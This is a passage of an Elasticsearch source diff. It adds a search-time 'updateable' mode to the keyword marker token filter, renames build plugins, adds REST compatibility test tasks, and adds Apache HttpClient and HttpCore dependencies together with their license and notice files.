KeywordMarkerTokenFilterFactory(IndexSettings indexSettings, Environment env, String name, Settings settings) { super(indexSettings, name, settings); @@ -67,6 +69,13 @@ public class KeywordMarkerTokenFilterFactory extends AbstractTokenFilterFactory keywordLookup = new CharArraySet(rules, ignoreCase); keywordPattern = null; } + boolean updateable = settings.getAsBoolean("updateable", false); + this.analysisMode = updateable ? AnalysisMode.SEARCH_TIME : AnalysisMode.ALL; + } + + @Override + public AnalysisMode getAnalysisMode() { + return this.analysisMode; } @Override diff --git a/modules/build.gradle b/modules/build.gradle index ff4bd1dfd01e3..57f7495d87132 100644 --- a/modules/build.gradle +++ b/modules/build.gradle @@ -8,8 +8,8 @@ configure(subprojects.findAll { it.parent.path == project.path }) { group = 'org.elasticsearch.plugin' // for modules which publish client jars - apply plugin: 'elasticsearch.testclusters' - apply plugin: 'elasticsearch.esplugin' + apply plugin: 'elasticsearch.internal-testclusters' + apply plugin: 'elasticsearch.internal-es-plugin' esplugin { // for local ES plugins, the name of the plugin is the same as the directory diff --git a/modules/geo/build.gradle b/modules/geo/build.gradle index 7980c267bcf42..1c8537df6fc25 100644 --- a/modules/geo/build.gradle +++ b/modules/geo/build.gradle @@ -6,8 +6,9 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams esplugin { description 'Placeholder plugin for geospatial features in ES. only registers geo_shape field mapper for now' @@ -16,7 +17,7 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } artifacts { @@ -28,4 +29,5 @@ if (BuildParams.inFipsJvm){ // The geo module is replaced by spatial in the default distribution and in FIPS 140 mode, we set the testclusters to // use the default distribution, so there is no need to run these tests tasks.named("yamlRestTest").configure{enabled = false } + tasks.named("yamlRestCompatTest").configure{enabled = false } } diff --git a/modules/ingest-common/build.gradle b/modules/ingest-common/build.gradle index 1f5e6d2f72064..97b6f29a91324 100644 --- a/modules/ingest-common/build.gradle +++ b/modules/ingest-common/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -18,11 +19,13 @@ dependencies { compileOnly project(':modules:lang-painless') api project(':libs:elasticsearch-grok') api project(':libs:elasticsearch-dissect') + implementation "org.apache.httpcomponents:httpclient:${versions.httpclient}" + implementation "org.apache.httpcomponents:httpcore:${versions.httpcore}" } restResources { restApi { - includeCore '_common', 'ingest', 'cluster', 'indices', 'index', 'bulk', 'nodes', 'get', 'update', 'cat', 'mget' + include '_common', 'ingest', 'cluster', 'indices', 'index', 'bulk', 'nodes', 'get', 'update', 'cat', 'mget' } } @@ -34,15 +37,17 @@ testClusters.all { tasks.named("thirdPartyAudit").configure { ignoreMissingClasses( - // from log4j - 'org.osgi.framework.AdaptPermission', - 'org.osgi.framework.AdminPermission', - 'org.osgi.framework.Bundle', - 'org.osgi.framework.BundleActivator', - 'org.osgi.framework.BundleContext', - 'org.osgi.framework.BundleEvent', - 'org.osgi.framework.SynchronousBundleListener', - 'org.osgi.framework.wiring.BundleWire', - 'org.osgi.framework.wiring.BundleWiring' + //commons-logging + 'org.apache.commons.codec.binary.Base64', + 'org.apache.commons.logging.Log', + 'org.apache.commons.logging.LogFactory', ) } + +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'ingest/80_foreach/Test foreach Processor', + 'ingest/230_change_target_index/Test Change Target Index with Explicit Pipeline', + 'ingest/230_change_target_index/Test Change Target Index with Default Pipeline' + ].join(',') +} diff --git a/modules/ingest-common/licenses/httpclient-4.5.10.jar.sha1 b/modules/ingest-common/licenses/httpclient-4.5.10.jar.sha1 new file mode 100644 index 0000000000000..b708efd0dd57f --- /dev/null +++ b/modules/ingest-common/licenses/httpclient-4.5.10.jar.sha1 @@ -0,0 +1 @@ +7ca2e4276f4ef95e4db725a8cd4a1d1e7585b9e5 \ No newline at end of file diff --git a/modules/ingest-common/licenses/httpclient-LICENSE.txt b/modules/ingest-common/licenses/httpclient-LICENSE.txt new file mode 100644 index 0000000000000..32f01eda18fe9 --- /dev/null +++ b/modules/ingest-common/licenses/httpclient-LICENSE.txt @@ -0,0 +1,558 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + +========================================================================= + +This project includes Public Suffix List copied from + +licensed under the terms of the Mozilla Public License, v. 2.0 + +Full license text: + +Mozilla Public License Version 2.0 +================================== + +1. Definitions +-------------- + +1.1. "Contributor" + means each individual or legal entity that creates, contributes to + the creation of, or owns Covered Software. + +1.2. "Contributor Version" + means the combination of the Contributions of others (if any) used + by a Contributor and that particular Contributor's Contribution. + +1.3. "Contribution" + means Covered Software of a particular Contributor. + +1.4. "Covered Software" + means Source Code Form to which the initial Contributor has attached + the notice in Exhibit A, the Executable Form of such Source Code + Form, and Modifications of such Source Code Form, in each case + including portions thereof. + +1.5. "Incompatible With Secondary Licenses" + means + + (a) that the initial Contributor has attached the notice described + in Exhibit B to the Covered Software; or + + (b) that the Covered Software was made available under the terms of + version 1.1 or earlier of the License, but not also under the + terms of a Secondary License. + +1.6. "Executable Form" + means any form of the work other than Source Code Form. + +1.7. "Larger Work" + means a work that combines Covered Software with other material, in + a separate file or files, that is not Covered Software. + +1.8. "License" + means this document. + +1.9. "Licensable" + means having the right to grant, to the maximum extent possible, + whether at the time of the initial grant or subsequently, any and + all of the rights conveyed by this License. + +1.10. "Modifications" + means any of the following: + + (a) any file in Source Code Form that results from an addition to, + deletion from, or modification of the contents of Covered + Software; or + + (b) any new file in Source Code Form that contains any Covered + Software. + +1.11. "Patent Claims" of a Contributor + means any patent claim(s), including without limitation, method, + process, and apparatus claims, in any patent Licensable by such + Contributor that would be infringed, but for the grant of the + License, by the making, using, selling, offering for sale, having + made, import, or transfer of either its Contributions or its + Contributor Version. + +1.12. "Secondary License" + means either the GNU General Public License, Version 2.0, the GNU + Lesser General Public License, Version 2.1, the GNU Affero General + Public License, Version 3.0, or any later versions of those + licenses. + +1.13. "Source Code Form" + means the form of the work preferred for making modifications. + +1.14. "You" (or "Your") + means an individual or a legal entity exercising rights under this + License. For legal entities, "You" includes any entity that + controls, is controlled by, or is under common control with You. For + purposes of this definition, "control" means (a) the power, direct + or indirect, to cause the direction or management of such entity, + whether by contract or otherwise, or (b) ownership of more than + fifty percent (50%) of the outstanding shares or beneficial + ownership of such entity. + +2. License Grants and Conditions +-------------------------------- + +2.1. Grants + +Each Contributor hereby grants You a world-wide, royalty-free, +non-exclusive license: + +(a) under intellectual property rights (other than patent or trademark) + Licensable by such Contributor to use, reproduce, make available, + modify, display, perform, distribute, and otherwise exploit its + Contributions, either on an unmodified basis, with Modifications, or + as part of a Larger Work; and + +(b) under Patent Claims of such Contributor to make, use, sell, offer + for sale, have made, import, and otherwise transfer either its + Contributions or its Contributor Version. + +2.2. Effective Date + +The licenses granted in Section 2.1 with respect to any Contribution +become effective for each Contribution on the date the Contributor first +distributes such Contribution. + +2.3. Limitations on Grant Scope + +The licenses granted in this Section 2 are the only rights granted under +this License. No additional rights or licenses will be implied from the +distribution or licensing of Covered Software under this License. +Notwithstanding Section 2.1(b) above, no patent license is granted by a +Contributor: + +(a) for any code that a Contributor has removed from Covered Software; + or + +(b) for infringements caused by: (i) Your and any other third party's + modifications of Covered Software, or (ii) the combination of its + Contributions with other software (except as part of its Contributor + Version); or + +(c) under Patent Claims infringed by Covered Software in the absence of + its Contributions. + +This License does not grant any rights in the trademarks, service marks, +or logos of any Contributor (except as may be necessary to comply with +the notice requirements in Section 3.4). + +2.4. Subsequent Licenses + +No Contributor makes additional grants as a result of Your choice to +distribute the Covered Software under a subsequent version of this +License (see Section 10.2) or under the terms of a Secondary License (if +permitted under the terms of Section 3.3). + +2.5. Representation + +Each Contributor represents that the Contributor believes its +Contributions are its original creation(s) or it has sufficient rights +to grant the rights to its Contributions conveyed by this License. + +2.6. Fair Use + +This License is not intended to limit any rights You have under +applicable copyright doctrines of fair use, fair dealing, or other +equivalents. + +2.7. Conditions + +Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted +in Section 2.1. + +3. Responsibilities +------------------- + +3.1. Distribution of Source Form + +All distribution of Covered Software in Source Code Form, including any +Modifications that You create or to which You contribute, must be under +the terms of this License. You must inform recipients that the Source +Code Form of the Covered Software is governed by the terms of this +License, and how they can obtain a copy of this License. You may not +attempt to alter or restrict the recipients' rights in the Source Code +Form. + +3.2. Distribution of Executable Form + +If You distribute Covered Software in Executable Form then: + +(a) such Covered Software must also be made available in Source Code + Form, as described in Section 3.1, and You must inform recipients of + the Executable Form how they can obtain a copy of such Source Code + Form by reasonable means in a timely manner, at a charge no more + than the cost of distribution to the recipient; and + +(b) You may distribute such Executable Form under the terms of this + License, or sublicense it under different terms, provided that the + license for the Executable Form does not attempt to limit or alter + the recipients' rights in the Source Code Form under this License. + +3.3. Distribution of a Larger Work + +You may create and distribute a Larger Work under terms of Your choice, +provided that You also comply with the requirements of this License for +the Covered Software. If the Larger Work is a combination of Covered +Software with a work governed by one or more Secondary Licenses, and the +Covered Software is not Incompatible With Secondary Licenses, this +License permits You to additionally distribute such Covered Software +under the terms of such Secondary License(s), so that the recipient of +the Larger Work may, at their option, further distribute the Covered +Software under the terms of either this License or such Secondary +License(s). + +3.4. Notices + +You may not remove or alter the substance of any license notices +(including copyright notices, patent notices, disclaimers of warranty, +or limitations of liability) contained within the Source Code Form of +the Covered Software, except that You may alter any license notices to +the extent required to remedy known factual inaccuracies. + +3.5. Application of Additional Terms + +You may choose to offer, and to charge a fee for, warranty, support, +indemnity or liability obligations to one or more recipients of Covered +Software. However, You may do so only on Your own behalf, and not on +behalf of any Contributor. You must make it absolutely clear that any +such warranty, support, indemnity, or liability obligation is offered by +You alone, and You hereby agree to indemnify every Contributor for any +liability incurred by such Contributor as a result of warranty, support, +indemnity or liability terms You offer. You may include additional +disclaimers of warranty and limitations of liability specific to any +jurisdiction. + +4. Inability to Comply Due to Statute or Regulation +--------------------------------------------------- + +If it is impossible for You to comply with any of the terms of this +License with respect to some or all of the Covered Software due to +statute, judicial order, or regulation then You must: (a) comply with +the terms of this License to the maximum extent possible; and (b) +describe the limitations and the code they affect. Such description must +be placed in a text file included with all distributions of the Covered +Software under this License. Except to the extent prohibited by statute +or regulation, such description must be sufficiently detailed for a +recipient of ordinary skill to be able to understand it. + +5. Termination +-------------- + +5.1. The rights granted under this License will terminate automatically +if You fail to comply with any of its terms. However, if You become +compliant, then the rights granted under this License from a particular +Contributor are reinstated (a) provisionally, unless and until such +Contributor explicitly and finally terminates Your grants, and (b) on an +ongoing basis, if such Contributor fails to notify You of the +non-compliance by some reasonable means prior to 60 days after You have +come back into compliance. Moreover, Your grants from a particular +Contributor are reinstated on an ongoing basis if such Contributor +notifies You of the non-compliance by some reasonable means, this is the +first time You have received notice of non-compliance with this License +from such Contributor, and You become compliant prior to 30 days after +Your receipt of the notice. + +5.2. If You initiate litigation against any entity by asserting a patent +infringement claim (excluding declaratory judgment actions, +counter-claims, and cross-claims) alleging that a Contributor Version +directly or indirectly infringes any patent, then the rights granted to +You by any and all Contributors for the Covered Software under Section +2.1 of this License shall terminate. + +5.3. In the event of termination under Sections 5.1 or 5.2 above, all +end user license agreements (excluding distributors and resellers) which +have been validly granted by You or Your distributors under this License +prior to termination shall survive termination. + +************************************************************************ +* * +* 6. Disclaimer of Warranty * +* ------------------------- * +* * +* Covered Software is provided under this License on an "as is" * +* basis, without warranty of any kind, either expressed, implied, or * +* statutory, including, without limitation, warranties that the * +* Covered Software is free of defects, merchantable, fit for a * +* particular purpose or non-infringing. The entire risk as to the * +* quality and performance of the Covered Software is with You. * +* Should any Covered Software prove defective in any respect, You * +* (not any Contributor) assume the cost of any necessary servicing, * +* repair, or correction. This disclaimer of warranty constitutes an * +* essential part of this License. No use of any Covered Software is * +* authorized under this License except under this disclaimer. * +* * +************************************************************************ + +************************************************************************ +* * +* 7. Limitation of Liability * +* -------------------------- * +* * +* Under no circumstances and under no legal theory, whether tort * +* (including negligence), contract, or otherwise, shall any * +* Contributor, or anyone who distributes Covered Software as * +* permitted above, be liable to You for any direct, indirect, * +* special, incidental, or consequential damages of any character * +* including, without limitation, damages for lost profits, loss of * +* goodwill, work stoppage, computer failure or malfunction, or any * +* and all other commercial damages or losses, even if such party * +* shall have been informed of the possibility of such damages. This * +* limitation of liability shall not apply to liability for death or * +* personal injury resulting from such party's negligence to the * +* extent applicable law prohibits such limitation. Some * +* jurisdictions do not allow the exclusion or limitation of * +* incidental or consequential damages, so this exclusion and * +* limitation may not apply to You. * +* * +************************************************************************ + +8. Litigation +------------- + +Any litigation relating to this License may be brought only in the +courts of a jurisdiction where the defendant maintains its principal +place of business and such litigation shall be governed by laws of that +jurisdiction, without reference to its conflict-of-law provisions. +Nothing in this Section shall prevent a party's ability to bring +cross-claims or counter-claims. + +9. Miscellaneous +---------------- + +This License represents the complete agreement concerning the subject +matter hereof. If any provision of this License is held to be +unenforceable, such provision shall be reformed only to the extent +necessary to make it enforceable. Any law or regulation which provides +that the language of a contract shall be construed against the drafter +shall not be used to construe this License against a Contributor. + +10. Versions of the License +--------------------------- + +10.1. New Versions + +Mozilla Foundation is the license steward. Except as provided in Section +10.3, no one other than the license steward has the right to modify or +publish new versions of this License. Each version will be given a +distinguishing version number. + +10.2. Effect of New Versions + +You may distribute the Covered Software under the terms of the version +of the License under which You originally received the Covered Software, +or under the terms of any subsequent version published by the license +steward. + +10.3. Modified Versions + +If you create software not governed by this License, and you want to +create a new license for such software, you may create and use a +modified version of this License if you rename the license and remove +any references to the name of the license steward (except to note that +such modified license differs from this License). + +10.4. Distributing Source Code Form that is Incompatible With Secondary +Licenses + +If You choose to distribute Source Code Form that is Incompatible With +Secondary Licenses under the terms of this version of the License, the +notice described in Exhibit B of this License must be attached. + +Exhibit A - Source Code Form License Notice +------------------------------------------- + + This Source Code Form is subject to the terms of the Mozilla Public + License, v. 2.0. If a copy of the MPL was not distributed with this + file, You can obtain one at http://mozilla.org/MPL/2.0/. + +If it is not possible or desirable to put the notice in a particular +file, then You may include the notice in a location (such as a LICENSE +file in a relevant directory) where a recipient would be likely to look +for such a notice. + +You may add additional accurate notices of copyright ownership. + +Exhibit B - "Incompatible With Secondary Licenses" Notice +--------------------------------------------------------- + + This Source Code Form is "Incompatible With Secondary Licenses", as + defined by the Mozilla Public License, v. 2.0. diff --git a/modules/ingest-common/licenses/httpclient-NOTICE.txt b/modules/ingest-common/licenses/httpclient-NOTICE.txt new file mode 100644 index 0000000000000..91e5c40c4c6d3 --- /dev/null +++ b/modules/ingest-common/licenses/httpclient-NOTICE.txt @@ -0,0 +1,6 @@ +Apache HttpComponents Client +Copyright 1999-2016 The Apache Software Foundation + +This product includes software developed at +The Apache Software Foundation (http://www.apache.org/). + diff --git a/modules/ingest-common/licenses/httpcore-4.4.12.jar.sha1 b/modules/ingest-common/licenses/httpcore-4.4.12.jar.sha1 new file mode 100644 index 0000000000000..3c046171b30da --- /dev/null +++ b/modules/ingest-common/licenses/httpcore-4.4.12.jar.sha1 @@ -0,0 +1 @@ +21ebaf6d532bc350ba95bd81938fa5f0e511c132 \ No newline at end of file diff --git a/modules/ingest-common/licenses/httpcore-LICENSE.txt b/modules/ingest-common/licenses/httpcore-LICENSE.txt new file mode 100644 index 0000000000000..72819a9f06f2a --- /dev/null +++ b/modules/ingest-common/licenses/httpcore-LICENSE.txt @@ -0,0 +1,241 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + +========================================================================= + +This project contains annotations in the package org.apache.http.annotation +which are derived from JCIP-ANNOTATIONS +Copyright (c) 2005 Brian Goetz and Tim Peierls. +See http://www.jcip.net and the Creative Commons Attribution License +(http://creativecommons.org/licenses/by/2.5) +Full text: http://creativecommons.org/licenses/by/2.5/legalcode + +License + +THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. + +BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. + +1. Definitions + + "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License. + "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License. + "Licensor" means the individual or entity that offers the Work under the terms of this License. + "Original Author" means the individual or entity who created the Work. + "Work" means the copyrightable work of authorship offered under the terms of this License. + "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation. + +2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws. + +3. License Grant. Subject to the terms and conditions of this 